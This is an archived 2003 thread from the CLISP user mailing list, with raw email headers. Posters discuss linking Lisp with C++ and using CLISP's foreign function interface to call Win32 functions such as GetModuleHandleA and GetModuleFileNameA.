Because of the nature of Lisp, it is hard to find a lot of resources on it, so I truly enjoy having something like CLisp for free! My question is based off of a need that I have. As a developer I am in the need of creating part of my project in C++, and would _LOVE_ to create some parts of it in Lisp. Being able to do such a thing would greatly ease the development process. I was wondering, is it possible for me to be able to compile Lisp code into something like object code, and then use G++ to link my C++ code and the object code that was generated from the Lisp? I guess, basicly, what I am needing to do is be able to call Lisp functions from C++ functions. Thanks! Jason Whitehorn From pascal@informatimago.com Wed Oct 15 22:40:20 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AA0s0-0005X8-00 for ; Wed, 15 Oct 2003 22:40:20 -0700 Received: from thalassa.informatimago.com ([195.114.85.198] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AA0rz-00034P-20 for clisp-list@lists.sourceforge.net; Wed, 15 Oct 2003 22:40:19 -0700 Received: by thalassa.informatimago.com (SMTP Daemon, from userid 1000) id CF3B12B1CA; Thu, 16 Oct 2003 07:40:08 +0200 (CEST) Message-ID: <16270.12088.718232.836594@thalassa.informatimago.com> To: jason@nealug.nealug.org Cc: clisp-list@lists.sourceforge.net Subject: [clisp-list] Question In-Reply-To: <20031016210117.82F271B24D@nealug.nealug.org> References: <20031016210117.82F271B24D@nealug.nealug.org> X-Mailer: VM 7.17 under Emacs 21.3.50.pjb1.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: fr Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.6 (--) X-Spam-Report: -2.6/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_VM (0.0 points) X-Mailer header indicates a non-spam MUA (VM) EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Oct 15 22:41:02 2003 X-Original-Date: Thu, 16 Oct 2003 07:40:08 +0200 jason@nealug.nealug.org writes: > Hello, >=20 > First off, I would like to say that I very much enjoy CLisp. Because > of the nature of Lisp, it is hard to find a lot of resources on it, > so I truly enjoy having something like CLisp for free! >=20 > My question is based off of a need that I have. As a developer I am > in the need of creating part of my project in C++, and would _LOVE_ > to create some parts of it in Lisp. Being able to do such a thing > would greatly ease the development process. I was wondering, is it > possible for me to be able to compile Lisp code into something like > object code, and then use G++ to link my C++ code and the object > code that was generated from the Lisp? I guess, basicly, what I am > needing to do is be able to call Lisp functions from C++ functions. You could do that with gcl or ecl: http://ecls.sf.net/ http://savannah.gnu.org/projects/gcl --=20 __Pascal_Bourguignon__ http://www.informatimago.com/ Do not adjust your mind, there is a fault in reality. From hin@van-halen.alma.com Thu Oct 16 04:26:04 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AA6Ga-0006ro-00 for ; Thu, 16 Oct 2003 04:26:04 -0700 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AA6GX-0003xj-Ca for clisp-list@lists.sourceforge.net; Thu, 16 Oct 2003 04:26:01 -0700 Received: from van-halen.alma.com (van-halen.alma.com [64.205.243.34]) by coopers.dsl.net (Postfix) with ESMTP id 3DD4F10DE49; Thu, 16 Oct 2003 07:23:54 -0400 (EDT) Received: from van-halen.alma.com (localhost [127.0.0.1]) by van-halen.alma.com (8.12.10/8.12.10) with ESMTP id h9GBNr60010241; Thu, 16 Oct 2003 07:23:53 -0400 Received: (from hin@localhost) by van-halen.alma.com (8.12.10/8.12.10/Submit) id h9GBNrgS010238; Thu, 16 Oct 2003 07:23:53 -0400 Message-Id: <200310161123.h9GBNrgS010238@van-halen.alma.com> From: "John K. Hinsdale" To: jason@nealug.nealug.org Cc: clisp-list@lists.sourceforge.net In-reply-to: <20031016210117.82F271B24D@nealug.nealug.org> (jason@nealug.nealug.org) Subject: Re: [clisp-list] Question X-Spam-Score: -0.5 (/) X-Spam-Report: -0.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 16 04:27:18 2003 X-Original-Date: Thu, 16 Oct 2003 07:23:53 -0400 > I am in the need of creating part of my project in C++, and would > _LOVE_ to create some parts of it in Lisp. > is it possible for me to be able to compile Lisp code into > something like object code, and then use G++ to link my C++ code and > the object code that was generated from the Lisp? No, CLISP does not compile into native machine code; it uses something like a byte-code interpreter similar to perl or Java (w/out JIT). > I guess, basicly, what I am needing to do is be able to call Lisp > functions from C++ functions. However you can still call C/C++ functions from Lisp and call Lisp functions from C/C++ using CLISP's Foreign Function Interface (FFI) http://clisp.cons.org/impnotes/dffi.html If linking w/ C++ you'll need to make sure C++ unerstands the external functions are C and not C++ (i.e., use the 'extern "C" {}' directive) and also make sure you link in the library which provides the CLISP runtime environment (lisp.a). From andrev@ele.puc-rio.br Thu Oct 16 10:56:45 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AACMf-0001xe-00 for ; Thu, 16 Oct 2003 10:56:45 -0700 Received: from hydrus.ele.puc-rio.br ([139.82.23.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AACMb-0000lz-Rb for clisp-list@lists.sourceforge.net; Thu, 16 Oct 2003 10:56:42 -0700 Received: from merengue (merengue.ica.ele.puc-rio.br [139.82.47.48]) by Hydrus.ele.puc-rio.br (8.12.9_20031002/8.12.9) with ESMTP id h9GHtbSa017876 for ; Thu, 16 Oct 2003 14:55:38 -0300 (EST) From: =?iso-8859-1?Q?Andr=E9_Vargas_Abs_da_Cruz?= To: Organization: =?iso-8859-1?Q?Pontif=EDcia_Universidade_Cat=F3lica_-_Rio_de_Janeiro?= Message-ID: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: 0.0 (/) X-Spam-Report: 0.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Creating windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 16 10:57:31 2003 X-Original-Date: Thu, 16 Oct 2003 14:57:02 -0300 Hello, I am new to CLISP but i am enjoying a lot developing software with it. I have a question which probably has been already asked: i am using clisp on a Windows XP box and i am trying to use the FFI package to call some Win32 API functions in order to open a window to draw some results. I have already been successful in calling some of those functions but i am having trouble with two things: - First: is there any way i can retrieve a instance handle for the clisp application i am running ? Some Win32 api functions require me to pass an instance handle in order to successfully execute it. - Second: i need to define a callback function in lisp that will be called from the win32 api. In other words, i am trying to define a function "A" in lisp which is going to be passed to a win32 api function "B". The api will then eventually call the function "A" defined in my lisp code. Is it possible to do it in CLISP ? Thanks !!! Regards Andr=E9 Vargas --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.525 / Virus Database: 322 - Release Date: 9/10/2003 =20 From sds@alphatech.com Thu Oct 16 11:46:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AAD8Q-0006Ht-00 for ; Thu, 16 Oct 2003 11:46:06 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AAD81-0002Cj-9l for clisp-list@lists.sourceforge.net; Thu, 16 Oct 2003 11:45:41 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9GIj6d22723 for ; Thu, 16 Oct 2003 14:45:07 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> =?utf-8?b?KA==?= =?utf-8?b?QW5kcsOp?= Vargas Abs da Cruz's message of "Thu, 16 Oct 2003 14:57:02 -0300") References: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: Creating windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 16 11:47:02 2003 X-Original-Date: Thu, 16 Oct 2003 14:45:06 -0400 > * Andr=C3=A9 Vargas Abs da Cruz [2003-10-16 14:57= :02 -0300]: > > - First: is there any way i can retrieve a instance handle for the > clisp application i am running ? Some Win32 api functions require me > to pass an instance handle in order to successfully execute it. what is an "instance handle"? is there a win32 api function that returns it? > - Second: i need to define a callback function in lisp that will be > called from the win32 api. In other words, i am trying to define a > function "A" in lisp which is going to be passed to a win32 api > function "B". The api will then eventually call the function "A" > defined in my lisp code. Is it possible to do it in CLISP ? --=20 Sam Steingold (http://www.podval.org/~sds) running w2k I want Tamagochi! -- What for? Your pet hamster is still alive! From sds@alphatech.com Thu Oct 16 12:13:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AADYw-0000ZL-00 for ; Thu, 16 Oct 2003 12:13:30 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AADYv-0005uE-4J for clisp-list@lists.sourceforge.net; Thu, 16 Oct 2003 12:13:29 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9GJCvd00527 for ; Thu, 16 Oct 2003 15:12:57 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> =?utf-8?b?KA==?= =?utf-8?b?QW5kcsOp?= Vargas Abs da Cruz's message of "Thu, 16 Oct 2003 14:57:02 -0300") References: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: Creating windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 16 12:14:20 2003 X-Original-Date: Thu, 16 Oct 2003 15:12:57 -0400 > * Andr=C3=A9 Vargas Abs da Cruz [2003-10-16 14:57= :02 -0300]: > > - First: is there any way i can retrieve a instance handle for the > clisp application i am running ? Some Win32 api functions require me > to pass an instance handle in order to successfully execute it. (use-package "FFI") (defconstant MAX_PATH 1024) (def-call-out get-module-file-name (:library "kernel32.dll") (:name "GetModuleFileNameA") (:arguments (application-instance-handle c-pointer) (name (c-ptr (c-array-max character #.MAX_PATH)) :out :alloca) (size int)) (:return-type uint32)) (def-call-out get-module-handle (:library "kernel32.dll") (:name "GetModuleHandleA") (:arguments (name c-string)) (:return-type c-pointer)) [16]> (get-module-file-name (get-module-handle nil) max_path) 37 ; "d:\\gnu\\clisp\\current\\build-g\\lisp.exe" [17]> (get-module-file-name (get-module-handle "kernel32") max_path) 30 ; "C:\\WINNT\\system32\\KERNEL32.dll" [18]> see modules/bindings/win32 for more examples. --=20 Sam Steingold (http://www.podval.org/~sds) running w2k Lisp is a language for doing what you've been told is impossible. - Kent Pi= tman From sds@alphatech.com Thu Oct 16 12:19:20 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AADea-0000z9-00 for ; Thu, 16 Oct 2003 12:19:20 -0700 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AADeY-0007B9-QE for clisp-list@lists.sourceforge.net; Thu, 16 Oct 2003 12:19:19 -0700 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id h9GJIkd02064 for ; Thu, 16 Oct 2003 15:18:46 -0400 (EDT) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> =?utf-8?b?KA==?= =?utf-8?b?QW5kcsOp?= Vargas Abs da Cruz's message of "Thu, 16 Oct 2003 14:57:02 -0300") References: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable X-Spam-Score: -2.5 (--) X-Spam-Report: -2.5/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header USER_AGENT_GNUS_UA (-0.5 points) User-Agent header indicates a non-spam MUA (Gnus) QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Subject: [clisp-list] Re: Creating windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 16 12:20:11 2003 X-Original-Date: Thu, 16 Oct 2003 15:18:46 -0400 > * Andr=C3=A9 Vargas Abs da Cruz [2003-10-16 14:57= :02 -0300]: > > - First: is there any way i can retrieve a instance handle for the > clisp application i am running ? Some Win32 api functions require me > to pass an instance handle in order to successfully execute it. Just pass NIL (NULL). --=20 Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)= ))) From andrev@ele.puc-rio.br Thu Oct 16 12:26:59 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AADly-00026E-00 for ; Thu, 16 Oct 2003 12:26:59 -0700 Received: from hydrus.ele.puc-rio.br ([139.82.23.2]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AADln-0000pc-6c for clisp-list@lists.sourceforge.net; Thu, 16 Oct 2003 12:26:47 -0700 Received: from merengue (merengue.ica.ele.puc-rio.br [139.82.47.48]) by Hydrus.ele.puc-rio.br (8.12.9_20031002/8.12.9) with ESMTP id h9GJQ6Sa019113 for ; Thu, 16 Oct 2003 16:26:06 -0300 (EST) From: =?iso-8859-1?Q?Andr=E9_Vargas_Abs_da_Cruz?= To: Subject: RE: [clisp-list] Re: Creating windows Organization: =?iso-8859-1?Q?Pontif=EDcia_Universidade_Cat=F3lica_-_Rio_de_Janeiro?= Message-ID: <000001c3941b$8ebc7890$302f528b@ica.ele.pucrio.br> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Spam-Score: -1.4 (-) X-Spam-Report: -1.4/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text ORIGINAL_MESSAGE (-0.5 points) Looks like a reply to a message CLICK_BELOW (0.1 points) Asks you to click below Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 16 12:27:08 2003 X-Original-Date: Thu, 16 Oct 2003 16:27:32 -0300 Worked just fine. I'll look also for the other references you gave. Thank you very much for your help !!! regards andr=E9 -----Original Message----- From: Sam Steingold Subject: [clisp-list] Re: Creating windows > * Andr=E9 Vargas Abs da Cruz [2003-10-16=20 > 14:57:02 -0300]: > > - First: is there any way i can retrieve a instance handle for the=20 > clisp application i am running ? Some Win32 api functions require me=20 > to pass an instance handle in order to successfully execute it. Just pass NIL (NULL). --=20 Sam Steingold (http://www.podval.org/~sds) running w2k ((lambda (x) (list x (list 'quote x))) '(lambda (x) (list x (list 'quote x)))) ------------------------------------------------------- This SF.net email is sponsored by: SF.net Giveback Program. SourceForge.net hosts over 70,000 Open Source Projects. See the people who have HELPED US provide better services: Click here: http://sourceforge.net/supporters.php _______________________________________________ clisp-list mailing list clisp-list@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/clisp-list --- Incoming mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.525 / Virus Database: 322 - Release Date: 9/10/2003 =20 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.525 / Virus Database: 322 - Release Date: 9/10/2003 =20 From dan.stanger@ieee.org Thu Oct 16 14:52:11 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AAG2U-0008Qv-00 for ; Thu, 16 Oct 2003 14:52:10 -0700 Received: from [207.251.201.54] (helo=smtp.localnet.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AAG2U-0004ao-51 for clisp-list@lists.sourceforge.net; Thu, 16 Oct 2003 14:52:10 -0700 Received: (qmail 28485 invoked from network); 16 Oct 2003 21:52:02 -0000 Received: from drballew.localnet.sys (HELO smtp2.localnet.com) ([10.0.7.15]) (envelope-sender ) by mail1.localnet.com (qmail-ldap-1.03) with SMTP for ; 16 Oct 2003 21:52:02 -0000 Received: (qmail 2636 invoked from network); 16 Oct 2003 21:52:05 -0000 Received: from unknown (HELO ieee.org) ([66.153.101.145]) (envelope-sender ) by mail1.localnet.com (qmail-ldap-1.03) with SMTP for ; 16 Oct 2003 21:52:05 -0000 Message-ID: <3F8F12C9.17A25E88@ieee.org> From: Dan Stanger X-Mailer: Mozilla 4.8 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Creating windows References: <000001c3940e$eafbcf50$302f528b@ica.ele.pucrio.br> Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 X_ACCEPT_LANG (-0.1 points) Has a X-Accept-Language header REFERENCES (-0.5 points) Has a valid-looking References header EMAIL_ATTRIBUTION (-0.5 points) BODY: Contains what looks like an email attribution QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text CLICK_BELOW (0.1 points) Asks you to click below REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Oct 16 14:53:05 2003 X-Original-Date: Thu, 16 Oct 2003 17:51:05 -0400 This is what the gdi module in the packages directory does. André Vargas Abs da Cruz wrote: > Hello, > > I am new to CLISP but i am enjoying a lot developing software > with it. I have a question which probably has been already asked: i am > using clisp on a Windows XP box and i am trying to use the FFI package > to call some Win32 API functions in order to open a window to draw some > results. I have already been successful in calling some of those > functions but i am having trouble with two things: > > - First: is there any way i can retrieve a instance handle for > the clisp application i am running ? Some Win32 api functions require me > to pass an instance handle in order to successfully execute it. > > - Second: i need to define a callback function in lisp that will > be called from the win32 api. In other words, i am trying to define a > function "A" in lisp which is going to be passed to a win32 api function > "B". The api will then eventually call the function "A" defined in my > lisp code. Is it possible to do it in CLISP ? > > Thanks !!! > > Regards > André Vargas > > --- > Outgoing mail is certified Virus Free. > Checked by AVG anti-virus system (http://www.grisoft.com). > Version: 6.0.525 / Virus Database: 322 - Release Date: 9/10/2003 > > > ------------------------------------------------------- > This SF.net email is sponsored by: SF.net Giveback Program. > SourceForge.net hosts over 70,000 Open Source Projects. > See the people who have HELPED US provide better services: > Click here: http://sourceforge.net/supporters.php > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From bruno@clisp.org Fri Oct 17 06:14:27 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AAUR1-0006mK-00; Fri, 17 Oct 2003 06:14:27 -0700 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=externalmx.vasoftware.com ident=mail) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.22) id 1AAUQc-0008Uq-CN; Fri, 17 Oct 2003 06:14:02 -0700 Received: from ftp.ilog.fr ([81.80.162.195]:62084) by externalmx.vasoftware.com with esmtp (Exim 4.22 #1 (Debian)) id 1AASuh-0008UW-K7; Fri, 17 Oct 2003 04:36:59 -0700 Received: from reuilly.ilog.fr (cerbere-qe0 [81.80.162.193]) by ftp.ilog.fr (8.12.10/8.12.10) with SMTP id h9HBatPi017027; Fri, 17 Oct 2003 13:36:55 +0200 (MET DST) Received: from laposte.ilog.fr ([172.17.1.6]) by reuilly.ilog.fr (SAVSMTP 3.1.1.32) with SMTP id M2003101713271617421 ; Fri, 17 Oct 2003 13:27:16 +0200 Received: from honolulu.ilog.fr ([172.16.15.122]) by laposte.ilog.fr (8.11.6/8.11.6) with ESMTP id h9HBasG12313; Fri, 17 Oct 2003 13:36:54 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by honolulu.ilog.fr (Postfix) with ESMTP id 9BD022E7DC; Fri, 17 Oct 2003 11:35:57 +0000 (UTC) From: Bruno Haible To: clisp-list@lists.sourceforge.net, Sam Steingold , clisp-devel@lists.sourceforge.net User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200310171335.56737.bruno@clisp.org> X-EA-Verified: externalmx.vasoftware.com 1AASuh-0008UW-K7 149051e934f863c11c218188e0d993a9 X-Spam-Score: -2.0 (--) .include /etc/hostname X-Spam-Score-Int: -20 X-Spam-Score: -2.0 (--) X-Spam-Report: -2.0/5.0 Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 IN_REP_TO (-0.5 points) Has a In-Reply-To header REFERENCES (-0.5 points) Has a valid-looking References header QUOTED_EMAIL_TEXT (-0.5 points) BODY: Contains what looks like a quoted email text REPLY_WITH_QUOTES (-0.5 points) Reply with quoted text USER_AGENT (0.0 points) Has a User-Agent header Subject: [clisp-list] Re: completion with case-sensitive packages Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user 